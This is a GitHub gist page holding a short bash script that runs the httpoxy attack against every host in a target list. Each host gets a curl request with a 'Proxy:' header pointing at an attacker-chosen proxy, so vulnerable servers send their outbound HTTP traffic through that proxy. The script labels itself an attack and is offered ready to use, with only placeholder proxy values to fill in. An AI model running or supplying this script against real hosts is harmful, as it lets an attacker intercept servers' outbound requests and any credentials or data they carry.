Skip to content

Instantly share code, notes, and snippets.

@t3h2mas
Last active September 6, 2017 12:37
Show Gist options
  • Save t3h2mas/e7d66a5b428832c3c337c570e4e4bc36 to your computer and use it in GitHub Desktop.
Save t3h2mas/e7d66a5b428832c3c337c570e4e4bc36 to your computer and use it in GitHub Desktop.
send httpoxy requests to target file list
#!/bin/bash
# https://httpoxy.org/
if [ -z "$1" ]; then
echo "[!] usage $0 [TARGET HOSTS FILE]"
exit 1
fi
targets="$1"
proxy="YOURPROXYHERE!"
port="PROXYPORTHERE"
for h in $(cat "$targets"); do
echo "[*] attempting to run httpoxy attack on host $h"
curl -I --connect-timeout 5 -H "Proxy: ${proxy}:${port}" "https://$h"
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment